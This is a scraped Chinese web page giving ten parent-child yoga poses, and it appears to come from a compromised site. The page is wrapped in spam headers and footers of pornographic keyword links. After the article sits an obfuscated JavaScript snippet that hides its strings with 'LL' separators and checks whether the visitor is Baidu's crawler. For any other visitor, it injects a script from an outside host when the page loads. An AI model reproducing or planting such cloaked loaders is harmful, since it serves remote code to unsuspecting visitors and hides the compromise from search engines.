久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 母嬰 > 育兒知識 > 正文

親子瑜伽體式是什么

2017-03-02 15:46:06  來源:360常識網   熱度:
導語:瑜伽是現在較為流行的一種健身方式,其中親子瑜伽可能對大家來說較為陌生。到底什么才是親子瑜伽體式呢?這有什么好處呢?該如何去做呢?針

瑜伽是現在較為流行的一種健身方式,其中親子瑜伽可能對大家來說較為陌生。到底什么才是親子瑜伽體式呢?這有什么好處呢?該如何去做呢?針對這些問題,今天我們就來為大家仔細介紹和細細分析,希望可以幫到大家奧!

親子瑜伽可以增加家長與孩子的感情交流,還可以鍛煉孩子的品質。那么親子瑜伽體式你知道嗎?下面養生之道網總結了10個親子瑜伽體式,看看吧。

1、面對面

相互跪坐的姿勢,將孩子的手交付在媽媽的手中,靜靜地看著媽媽的臉,雙雙閉上眼睛,將雙手對應,感受在你們手心中流動的能量。這個動作與開始一樣,你們要靜靜體會,靜下心來,感受彼此。

2、光澤式

媽媽與寶寶距離約10公分,背對背站立,均勻地呼吸。吸氣時,媽媽與寶寶同時前彎,雙腿盡量伸直,雙手穿過腿中間,互相牽手,停留10-20秒鐘。慢慢還原,調整呼吸。

3、劈腿式

媽媽與寶寶面對面而坐,雙腿左右打開,寶寶將雙腳踩住媽媽大腿內側,均勻地呼吸。吸氣,雙手互握,頭后仰,停留5-10秒鐘。緩慢還原,調整呼吸。

4、扭脊功

取坐姿,雙腿向前伸展。屈右腿,右手撐地,右腳著地,盡量靠近臀部,讓寶寶坐在媽媽對面,媽媽轉上身向右側,讓左上臂貼緊右腿外側。寶寶坐在媽媽左腿上,媽媽伸展左臂扶住寶寶,吸氣,盡量向右后方扭轉上身,眼睛注視右后方。保持3-8次呼吸后還原,換左側練習,左右兩邊各做3次。

5、背馱式

媽媽跪坐姿勢,寶寶站立于媽媽后方背對背。媽媽勾住寶寶雙手,吸氣往前趴下并將寶寶置于背上,吐氣。待重心穩后才放開雙手,往前方伸直雙手,停留10-20秒鐘。緩慢還原,調整呼吸。

6、親犬式

媽媽平伏在地上,雙腿打開與肩同寬,寶寶跨坐于媽媽的腰臀部處,均勻地呼吸。吸氣,媽媽手用力將上半身撐起,寶寶雙手扶著媽媽的肩膀,吐氣上身后仰,視線朝上看。停留5-10秒鐘。緩慢還原,調整呼吸。

7、跨坐式

媽媽平躺在地上,寶寶站立。媽媽雙膝彎曲,雙手牽扶寶寶,吐氣,寶寶慢慢坐于媽媽腹部處,上身放松后躺于媽媽大腿上,停留10-20秒鐘。緩慢還原,調整呼吸。

8、山式

兩人盤腿而坐,雙臂盡力向上舉,雙手相扣,掌心向上,讓全身自然放松。慢慢吐氣、吸氣。吐氣時,讓身體自然下沉,閉眼、深呼吸,讓意識在身體的各部位停留并依次從腳到頭放松全身各位。吸氣時,讓腹部鼓氣。重復呼吸多次,直到身體完全放松。保持4~11個呼吸。

9、競走式

寶寶伏地,吸氣,寶寶雙手用力撐起身體,吐氣,媽媽將寶寶腿部提起,停留5-10秒鐘,寶寶此時可用手代替腳往前走或往后退,但不可勉強進行。還原,調整呼吸。

10、嬰兒式

媽媽仰臥,彎曲兩腿,寶寶先站在媽媽膝蓋之間,二人相對。媽媽握住寶寶的手,崩直,雙腳架著寶寶的髖部,向上托起。媽媽腳伸直,保持3~5個呼吸。若寶寶柔韌性夠好,可以在空中將腳打開呈“一”字。

以上就是養生之道網為您介紹的親子瑜伽體式大全,趕快練起來吧。

看了今天為大家呈現的關于親子瑜伽體式介紹,大家有沒有恍然大悟的感覺呢?當然,更多的知識,還需要大家向更為專業的人士請教或者去網上、圖書館自行搜查資料。建議在有條件的情況下,大家能夠多多鍛煉身體,學習瑜伽,修身養性。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 在线一二区 | 99精品99 | 韩国电影久久影院 | 久久久久a | 日韩福利一区二区 | 三级欧美在线观看 | 久久99爱视频| 国产免费小视频 | 国产精品久久久久久av公交车 | 日韩欧美国产精品 | 99re视频在线播放 | 真实国产露脸乱 | 日韩在线播放欧美字幕 | 青青草在线视频免费观看 | 欧美男男videos | 久久伦理电影网 | 日韩视频在线视频 | 91精品视频在线播放 | 综合网激情 | 久久精品免费视频观看 | 最近日韩中文字幕 | 视频精品一区二区三区 | 中文字幕综合在线分类 | 91成人在线免费视频 | av毛片| 四虎最新影视 | 亚洲一区二区三区中文字幕 | 91精品久久久久久久久 | 国产男女免费完整视频 | 国产在线激情视频 | 国产在线精品成人免费怡红院 | 国产91黄色 | 亚洲视频在线免费观看 | 黄色毛片网站在线观看 | 久久精品在线 | 黄色成人av网站 | 国产精品久久久久国产a级 91国内外精品自在线播放 | 亚洲综合首页 | 日本久久久 | 守护甜心中文版 | 一区二区三区回区在观看免费视频 |